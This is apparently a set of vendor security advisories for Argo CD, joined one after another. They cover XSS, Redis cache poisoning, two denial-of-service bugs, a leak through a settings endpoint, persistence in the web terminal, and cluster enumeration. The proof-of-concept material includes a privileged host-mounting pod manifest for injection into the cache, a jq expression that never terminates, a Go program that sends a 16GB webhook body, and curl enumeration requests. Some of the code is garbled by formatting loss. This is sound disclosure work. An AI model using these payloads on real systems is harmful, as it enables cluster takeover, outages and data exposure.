Summary
Due to the improper URL protocols filtering of links specified in the link.argocd.argoproj.io annotations in the application summary component, an attacker can achieve cross-site scripting with elevated permissions.
Impact
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to a cross-site scripting (XSS) bug allowing a malicious user to inject a javascript: link in the UI. When clicked by a victim user, the script will execute with the victim's permissions (up to and including admin).
This vulnerability allows an attacker to perform arbitrary actions on behalf of the victim via the API, such as creating, modifying, and deleting Kubernetes resources.
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.3 v2.9.8 v2.8.12
Workarounds
There are no completely-safe workarounds besides upgrading. The safest alternative, if upgrading is not possible, would be to create a Kubernetes admission controller to reject any resources with an annotation starting with link.argocd.argoproj.io or reject the resource if the value use an improper URL protocol. This validation will need to be applied in all clusters managed by ArgoCD.
Mitigations
1. Avoid clicking external links presented in the UI. The link's title is user-configurable. So even if you hover the link, and the tooltip looks safe, the link might be malicious. The only way to be certain that the link is safe is to inspect the page's source. 2. Carefully limit who has permissions to edit Kubernetes resource manifests (this is configured in RBAC for ArgoCD). The external-links are set as annotations on Kubernetes resources. Any persona with write access to resources managed by ArgoCD could be an actor.
References Documentation for the external links feature
Credits
Disclosed by RyotaK (@Ry0taK)
For more information
- Open an issue in the Argo CD issue tracker or discussions - Join us on Slack in channel #argo-cd
Summary By default, the Redis database server is not password-protected. Consequently, an attacker with access to the Redis server can gain read/write access to the data in Redis. The attacker can also modify the "mfst" (manifest) key to cause ArgoCD to execute any deployment, potentially leveraging ArgoCD's high privileges to take over the cluster. Updating the "cacheEntryHash" in the manifest JSON is necessary, but since it doesn't use a private key for signing its integrity, a simple script can generate a new FNV64a hash matching the new manifest values. The repo-server, unable to verify if its cache is compromised, will read the altered "mfst" key and initiate an update process for the injected deployment.
It's also possible to edit the "app|resources-tree" key, causing the ArgoCD server to load any Kubernetes resource into the live manifest section of the app preview. This could lead to an information leak.
The fact that the cache in Redis is neither signed nor validated, combined with Redis's default lack of password protection, presents a significant security concern given ArgoCD's high-level permissions within the cluster. A security update should ensure all Redis database values are signed or encrypted.
Details We began by deploying ArgoCD on an EKS cluster. Surprisingly, we discovered that an unprivileged pod in a different namespace on the same cluster could connect to the Redis server on port 6379. This was unexpected, as we had observed network policy rules restricting access to the Redis server to only the pods application-controller, repo-server, and argocd-server. We later realized that, despite having installed the latest version of the VPC CNI plugin on the EKS cluster, it requires manual enablement through configuration to enforce network policies. This raises concerns that many clients might unknowingly have open access to their Redis servers. We also know your recommendation on this page Argo CD - Secret Management, to enable the network policy plugin. Further investigation revealed that any pod within my cluster could connect to the Redis server by resolving its address using the Kubernetes DNS server. Exploring the contents of the Redis server, we found that we could edit the 'mfst' value of the latest revision. By updating the “cacheEntryHash”, we made the repo-server accept it as a legitimate cache, leading ArgoCD to apply this configuration. These tests were conducted using the default configuration, with regular ArgoCD and ArgoCD via helm deployment. This scenario presents a viable attack path, enabling any pod with access to the cluster to potentially exploit ArgoCD's high permissions and take over the cluster. We believe there is a critical need to enhance the security of the cache and its components. Given that many clients likely use ArgoCD in a plug-and-play manner, they could be exposed to significant risk. I am willing to offer assistance or answer any questions you might have.
PoC We tested this using the latest version of ArgoCD, configured with default settings. ArgoCD was installed either by applying a YAML file or through Helm. We wrote a few Go programs to decompress the Redis values and regenerate the "cacheEntryHash", but these programs were relatively straightforward.
To modify the cluster deployment, you can alter the "mfst" key of the latest revision. For instance, add the following line:
json {"apiVersion":"apps/v1","kind":"Deployment","metadata":{"labels":{"app.kubernetes.io/instance":"myapp1"},"name":"everything-allowed"},"spec":{"replicas":1,"selector":{"matchLabels":{"app":"everything-allowed"}},"template":{"metadata":{"labels":{"app":"everything-allowed"}},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/sh","-c","--"],"image":"ubuntu","name":"everything-allowed-pod","securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"hostIPC":true,"hostNetwork":true,"hostPID":true,"volumes":[{"hostPath":{"path":"/"},"name":"noderoot"}]}}}
This addition creates a highly privileged pod.
To cause the web page to load a different Kubernetes resource in the "Live Manifest", edit the "app|resources-tree" manifest. Modify one of the component's kind, namespace, and name. Upon reloading the web page and clicking on the newly created asset, an error message appears: "Unable to load data: argocd-secret not found as part of application myapp." However, the resource's description is still transmitted to the browser, as seen in this URL format:
https://127.0.0.1:8081/api/v1/applications/myapp/resource?name=argocd-secret&appNamespace=argocd&namespace=argocd&resourceName=argocd-secret&version=v1&kind=Secret&group=
This situation results in information leakage.
Impact This vulnerability could lead to Privilege Escalation to the level of cluster controller, or to information leakage, affecting anyone who does not have strict access controls on their Redis instance.
Impact DoS vuln via OOM using jq in ignoreDifferences.
ignoreDifferences: - group: apps kind: Deployment jqPathExpressions: - 'until(true == false; [.] + [1])'
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.10.8 v2.9.13 v2.8.17
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.
Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.
The fix would be to enforce a limit on the size of the request being parsed.
PoC Port-forward to the argocd-server service, like so:
console kubectl port-forward svc/argocd-server -n argocd 8080:443
Run the below code:
go package main
import ( "crypto/tls" "io" "net/http" )
// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }
// Read generates the next chunk of the dummy JSON payload. func (r DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }
start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true }
for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } }
r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil }
func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) 1024 1024 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}
// HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }
req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) }
// Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push")
resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close()
println("Response status code:", resp.StatusCode) }
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.6 v2.10.15 v2.9.20
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by Jakub Ciolek
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Argo CD has a Web-based terminal that allows users to get a shell inside a running pod, just as they would with kubectl exec. Starting in version 2.6.0, when the administrator enables this function and grants permission to the user p, role:myrole, exec, create, /, allow, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user p, role:myrole, exec, create, /, allow permissions, which may still lead to the leakage of sensitive information. A patch for this vulnerability has been released in Argo CD versions 2.11.7, 2.10.16, and 2.9.21.
Summary The CVE allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication.
Details Unauthenticated Access:
Endpoint: /api/v1/settings Description: This endpoint is accessible without any form of authentication as expected. All sensitive settings are hidden except passwordPattern.
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
Impact Unauthenticated Access:
Type: Unauthorized Information Disclosure. Affected Parties: All users and administrators of the Argo CD instance. Potential Risks: Exposure of sensitive configuration data, including but not limited to deployment settings, security configurations, and internal network information.
Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:
$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}
It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}
curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"}
Patches A patch for this vulnerability has been released in the following Argo CD versions:
v2.11.3 v2.10.12 v2.9.17
For more information If you have any questions or comments about this advisory:
Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd
Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)
The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue